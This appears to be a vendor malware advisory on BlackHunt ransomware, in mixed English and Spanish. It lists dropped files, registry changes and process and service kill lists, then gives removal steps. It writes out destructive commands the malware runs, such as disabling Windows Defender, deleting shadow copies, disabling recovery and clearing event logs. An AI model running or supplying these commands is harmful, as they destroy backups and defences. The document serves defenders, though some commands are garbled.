Author: Melvin Jhun Palbusa   
 

W32/Conti.F!tr.ransom (FORTINET), Ransom:Win32/Conti.ZC (MICROSOFT)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Ransomware

  • Destructiveness:
    No

  • Encrypted:
    No

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 735,232 bytes
File type: EXE
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 28 de grudnia de 2022
PAYLOAD: Drops files, Displays graphics/image, Terminates processes, Encrypts files

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • {Encrypted Directory}\#BlackHunt_Private.key
  • {Encrypted Directory}\#BlackHunt_ReadMe.hta
  • {Encrypted Directory}\#BlackHunt_ReadMe.txt
  • %ProgramData%\#BlackHunt_BG.jpg
  • %ProgramData%\#BlackHunt_Icon.ico
  • %ProgramData%\#BlackHunt_ID.txt
  • %ProgramData%\#BlackHunt_Logs.txt
  • %ProgramData%\#BlackHunt_Public.key

Agrega los procesos siguientes:

  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\.Black"" /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\.Black\DefaultIcon"" /ve /t REG_SZ /d ""C:ProgramData\#Blackhunt_Icon.ico"" /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\Black"" /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\Black\DefaultIcon"" /ve /t REG_SZ /d ""C:ProgramData\#Blackhunt_Icon.ico"" /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""{2C5F9FCC-F266-43F6-BFD7-838DAEE269E11}"" /T reg_sz /D ""C:ProgramData\#BlackHunt_ReadMe.hta"" /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender""" /v ""DisableAntiSpyware""
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Real-Time Protection"" /v ""DisableRealtimeMonitoring"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Spynet"" /v ""SubmitSamplesConsent"" /t REG_DWORD /d 2 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats"" /v ""Threats_ThreatSeverityDefaultAction"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Low"" /t REG_DWORD /d 6 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Medium"" /t REG_DWORD /d 6 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""High"" /t REG_DWORD /d 6 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Severe"" /t REG_DWORD /d 6 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\UX Configuration"" /v ""Notification_Suppress"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoClose"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""StartMenuLogOff"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableChangePassword"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableLockWorkstation"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""NoLogoff"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableLockWorkstation"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore"" /v "DisableConfig"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore"" /v "DisableSR"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\WinRE"" /v ""DisableSetup"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableBackupLauncher"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableRestoreUI"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableSystemBackUI"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableBackupUI"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoRun"" /t REG_DWORD /d 1 /f"
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""SecurityService"" /t REG_SZ /d ""[Malware File path] -backups"" /f'
  • cmd.exe "/c SchTasks.exe /Create /RU ""NT AUTHORITY\SYSTEM'' /sc onstart /TN ""UPdate service Windows System"" /TR ""[Malware File Path] -backups""
  • cmd.exe "/c vssadmin.exe Delete shadows /all /quiet"
  • cmd.exe "/c bcdedit /set (default) recoveryenabled No"
  • cmd.exe "/c bcdedit /set (default) bootstatuspolicy IgnoreAllFailures"
  • cmd.exe "/c fsutil.exe usn deletejournal /D [drive]"
  • cmd.exe "/c wbadmin.exe delete catalog -quiet"
  • cmd.exe "/c schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /disable
  • cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 0 /f"
  • cmd.exe "/c REG_ADD ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""legalnoticecaption"" /t REG_SZ /d ""WARNING WARNING WARNING . "" /f"
  • cmd.exe " "/c REG_ADD ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""legalnoticetext" /t REG_SZ /d "Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by ["{BLOCKED}096@gmail.com" ] AND ["{BLOCKED}46@onionmail.com" ] "" /f"
  • cmd.exe "/c REG DELETE ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""HealthService"" /f"
  • cmd.exe "/c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 0 /f"
  • cmd.exe "/c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoRun"
  • cmd.exe "/c shutdown /r /t 10 /f"
  • cmd.exe "/c taskkill /IM mshta.exe /f"
  • cmd.exe "/c notepad.exe C:ProgramData\#BlackHunt_ReadMe.txt"
  • cmd.exe "/c C:\ProgramData\#BlackHunt_ReadMe.hta"
  • cmd.exe "/c shutdown /r /t 15 /f"
  • cmd.exe "start /min cmd/c del /F [Malware File Path]
  • Create process - "[malware file path] -nomutex -nologs -p [network drive] " →if -shares is enabled
  • cmd "/c wevtutil.exe cl Setup"
  • cmd "/c wevtutil.exe cl System"
  • cmd "/c wevtutil.exe cl Application"
  • cmd "/c wevtutil.exe cl Security"
  • cmd "/c wevtutil.exe cl Security /e:false"

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

  • BLACK_HUNT_MUTEX

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
SecurityService = {Malware File path} -backups

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\Software\classes\
.Black\DefaultIcon
(Default) = %ProgramData%\#BlackHunt_Icon.ico

HKEY_LOCAL_MACHINE\Software\classes\
Black\DefaultIcon
(Default) = %ProgramData%\#BlackHunt_Icon.ico

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
{2C5F9FCC-F266-43F6-BFD7-838DAEE269E11} = %ProgramData%\#BlackHunt_ReadMe.hta

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender
DisableAntiSpyware = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Spynet
SubmitSamplesConsent = 2

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats
Threats_ThreatSeverityDefaultAction = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Low = 6

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Medium = 6

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
High = 6

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Severe = 6

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\UX Configuration
Notification_Suppress = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoClose = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
StartMenuLogOff = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoLogoff = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\SystemRestore
DisableConfig = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\SystemRestore
DisableSR = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\WinRE
DisableSetup = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableBackupLauncher = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableRestoreUI = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableSystemBackUI = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 1

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = WARNING WARNING WARNING .

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticetext = Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by ["{BLOCKED}096@gmail.com"] AND ["{BLOCKED}46@onionmail.com"]

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0

Modifica las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLinkedConnection = 1

(Note: The default value data of the said registry entry is 0.)

Este malware establece la imagen siguiente como fondo de escritorio del sistema:

  • %ProgramData%\#BlackHunt_BG.jpg

Propagación

Infiltra copias de sí mismo en las unidades siguientes:

  • Shared Networks →If -spread is enabled
  • Removable Drives →If -spread is enabled

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

  • sql.exe
  • mbamtray.exe
  • Ntrtscan.exe
  • CNTAoSMgr.exe
  • PccNTMon.exe
  • tmlisten.exe
  • xfssvccon.exe
  • zoolz.exe
  • agntsvc.exe
  • dbeng50.exe
  • dbsnmp.exe
  • encsvc.exe
  • firefoxconfig.exe
  • infopath.exe
  • isqlplussvc.exe
  • msftesql.exe
  • mydesktopqos.exe
  • mydesktopservice.exe
  • mysqld.exe
  • mysqld-nt.exe
  • mysqld-opt.exe
  • thebat64.exe
  • ocomm.exe
  • thebat.exe
  • tbirdconfig.exe
  • notepad++.exe
  • powerpnt.exe
  • sqbcoreservice.exe
  • sqlagent.exe
  • sqlbrowser.exe
  • sqlservr.exe
  • sqlwriter.exe
  • synctime.exe
  • note
  • sql
  • oracle.exe
  • ocssd.exe
  • dbsnmp.exe
  • synctime.exe
  • agntsvc.exe
  • isqlplussvc.exe
  • xfssvccon.exe
  • mydesktopservice.exe
  • ocautoupds.exe
  • encsvc.exe
  • firefox.exe
  • tbirdconfig.exe
  • mydesktopqos.exe
  • excel.exe
  • msaccess.exe
  • mspub.exe
  • onenote.exe
  • outlook.exe
  • steam.exe
  • thunderbird.exe
  • visio.exe
  • winword.exe
  • wordpad.exe
  • notepad.exe

Otros detalles

Hace lo siguiente:

  • Connects to the following website to check the IP details:
    • ip-api.com
  • It terminates if the infected machine's country is among the list of countries below:
    • Azerbaijan
    • Armenia
    • Belarus
    • Georgia
    • Kazakhstan
    • Kyrgzstan
    • Moldova
    • Tajikistan
    • Turkmenistan
    • Uzbekistan
    • Ukraine
    • Iran
    • Turkey
  • Terminates the following services:
    • SQLAgent$SQLEXPRESS
    • MSSQL$QLEXPRESS
    • SQLWriter
    • SQLBrowser
    • MSSQLSERVER
    • MSSQL$CONTOSO1\
    • SQLServer (MSSQLSERVER)
    • MSSQL$SQLSERVERAGENT
    • vmvss
    • MSSQL$FE EXPRESS
    • SQLANYs_Sage_FAS_Fixed_Assets
    • MSSQL$VIM_SQLEXP
    • MSSQLFDLauncher
    • SQLTELEMETRY
    • MsDtsServer130
    • SSISTELEMETRY130
    • MSSQL$VEEAMSQL2012
    • SQLAgent$VEEAMSQL2012
    • SQLAgent
    • MSSQLServerADHelper100
    • MSSQLServerOLAPService
    • MsDtServer100
    • ReportServer
    • SQLTELEMETRY$HL
    • TMBMServer
    • MSSQL%PROGID
    • MSSQL$WOLTERSKLUWER
    • SQLAgent$PROGID
    • SQLAgent$WOLTERSKLUWER
    • MSSQLFDLauncher$OPTIMA
    • MSSQL$OPTIMA
    • SQLAgent$OPTIMA
    • ReportServer$OPTIMA
    • msftesql$SQLEXPRESS
    • postgresql-x64-9.4
    • MSDTC
    • vmicvss
    • HostControllerService
    • MSComplianceAudit
    • MSExchanfeADTopolog
    • MSExchangeAntispamUpdate
    • MSExchangeCompliance
    • MSExchangeDagMgmt
    • MSExchangeDelivery
    • MSExchanfeDiagnostics
    • MSExchangeEdgeSync
    • MSExchangeFastSearch
    • MSExchangeFrontEndTransport
    • MSExchangeHM
    • MSExchangeHMRecovery
    • MSExchangeImap4
    • MSExchangeIMAP4BE
    • MSExchangeIS
    • MSExchangeMailboxAssistants
    • MSExchangeMailboxReplication
    • MSExchangeNotificationBroker
    • MSExchangePop3
    • MSExchangePO3BE
    • MSExchangeRepl
    • MSExchangeRPC
    • MSEchangeChangeServiceHost
    • MSExchangeSubmission
    • MSExchangeThrottling
    • MSExchangeTransport
    • MSExchangeTransportLogSearch
    • MSExchangeVM
    • MSExchangeVMCR
    • SearchEchangeTracing
    • wsbexchange
    • IISADMIN
    • Tomcat8CLOUDERP
    • Tomcat8_DESARROLLO221
    • sql
    • System Event Notification
    • COM+ Event System
    • Microsoft Software Shadow Copy Provider
    • Volume Shadow Copy
    • swprv
    • vds
    • vss
    • svc$
    • memtas
    • mepocs
    • sophos
    • veeam
    • backup
    • GxVss
    • GxBlr
    • GxFWD
    • GxCVD
    • GxCIMgr
    • DefWatch
    • ccEvtMgr
    • ccSetMgr
    • SavRoam
    • RTVscan
    • QBfCService
    • QBIDPService
    • Intuit
    • QuickBooks
    • FCS
    • QBCFMonitoSerive
    • YooBackup
    • YooIT
    • Zhudongfangyu
    • str_raw_agent
    • VSNAPVSS
    • VeeamTransportSvc
    • VeeamDeploymentService
    • VeeamNFSSvc
    • PDVFSService
    • BackupExecVSSProvider
    • BackupExecAgentAccelerator
    • BackupExecAgentBrowser
    • BackupExecDiveciMediaService
    • BackupExecJobEngine
    • BackupExecManagementService
    • BackupExecRPCService
    • AcrSch2Svc
    • AcronisAgent
    • CASAD2DWebSvc
    • CAARCUpdateSvc
  • It terminates if the following processes are found:
    • ProcessHacker
    • Procexp64
    • Procexp
    • WireShark
    • dumpcap
    • Sysmon
    • Sysmon64
    • procexp64a
    • procmon
    • procmon64
    • procmon64a
    • OLLYDBG
    • x64dbg
    • x86dbg
    • idaq
    • idaq64
    • WinDbgFrameClass
    • zeta Debuger
    • Rock Debugger
    • ObsidianGUI
    • ID.exe
    • lordpe
    • Die.exe
    • xntsv
    • xocalc
    • xvlk
    • NFD.exe
    • PDBRIPPER
    • IDA64
    • IDA.exe
    • Immunitydebugger
    • ghidra
    • x32dbg
  • It terminates if the machine has the following system language:
    • 82C →Azeri(Azerbaijan)
    • 42C →Azeri(Azerbaijan)
    • 42B →Armenian(Armenia)
    • 423 →Belarusian(Belarus)
    • 437 →Georgian(Georgia)
    • 42F →Macedonian(Macedonia)
    • 440 →Kyrgyz(Kyrgyzstan)
    • 819 →Russian(Russia)
    • 428 →Tajic(Tajikistan)
    • 442 →Turkmen(Turkmenistan)
    • 843 →Uzbek-Cyrillic(Uzbekistan
    • 443 →Uzbek-Latin(Uzbekistan)
    • 422 →Ukrainian(Ukraine)
    • 429 →Persian(Iran)
    • 41F →Turkish(Turkey)
  • Empty Recycled Bin
  • Disable Windows Defender
  • Appends "#BLACK_HUNT#" in every encrypted files
  • Change the icon of encrypted files with %ProgramData%\#BlackHunt_Icon.ico

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 18.160.05
First VSAPI Pattern Release Date: 28 de grudnia de 2022
VSAPI OPR PATTERN-VERSION: 18.161.00
VSAPI OPR PATTERN DATE: 29 de grudnia de 2022

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Reiniciar en modo seguro

[ learnMore ]

Step 5

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    • {2C5F9FCC-F266-43F6-BFD7-838DAEE269E11} = %ProgramData%\#BlackHunt_ReadMe.hta
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    • SecurityService = [Malware File path] -backups
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • NoClose = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • StartMenuLogOff = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableChangePassword = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableLockWorkstation = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • NoLogoff = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore
    • DisableConfig = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore
    • DisableSR = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\WinRE
    • DisableSetup = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
    • DisableBackupLauncher = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
    • DisableRestoreUI = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
    • DisableSystemBackUI = 1
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
    • DisableBackUI = 1
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • legalnoticecaption = WARNING WARNING WARNING . 
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • legalnoticetext = Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by [amikel096@gmail.com] AND [onion746@onionmail.com] /v legalnoticetext /t REG_SZ /d Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by [amikel096@gmail.com] AND [onion746@onionmail.com]
  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLinkedConnection = 1

Step 6

Eliminar esta clave del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.Black
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.Black\DefaultIcon
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Black
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Black\DefaultIcon

Step 7

Restaurar este valor del Registro modificado

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = 0 (Change to default value: 1)

Step 8

Buscar y eliminar estos archivos

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Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción "Más opciones avanzadas" para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • {Encrypted Directory}\#BlackHunt_Private.key
  • {Encrypted Directory}\#BlackHunt_ReadMe.hta
  • {Encrypted Directory}\#BlackHunt_ReadMe.txt
  • %ProgramData%\#BlackHunt_BG.jpg
  • %ProgramData%\#BlackHunt_Icon.ico
  • %ProgramData%\#BlackHunt_ID.txt
  • %ProgramData%\#BlackHunt_Logs.txt
  • %ProgramData%\#BlackHunt_Public.key
DATA_GENERIC_FILENAME_1
  • En la lista desplegable Buscar en, seleccione Mi PC y pulse Intro.
  • Una vez haya encontrado el archivo, selecciónelo y, a continuación, pulse MAYÚS+SUPR para eliminarlo definitivamente.
  • Repita los pasos 2 a 4 con el resto de archivos:
      • {Encrypted Directory}\#BlackHunt_Private.key
      • {Encrypted Directory}\#BlackHunt_ReadMe.hta
      • {Encrypted Directory}\#BlackHunt_ReadMe.txt
      • %ProgramData%\#BlackHunt_BG.jpg
      • %ProgramData%\#BlackHunt_Icon.ico
      • %ProgramData%\#BlackHunt_ID.txt
      • %ProgramData%\#BlackHunt_Logs.txt
      • %ProgramData%\#BlackHunt_Public.key

    • Step 9

    Restablecer las propiedades del escritorio

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    Step 10

    Restore encrypted files from backup.

    Step 11

    Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.Win32.BLACKHUNT.THLBHBB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

    Step 12

    Eliminar este valor del Registro

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    Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

    RESTORE
  • Cierre el Editor del Registro.


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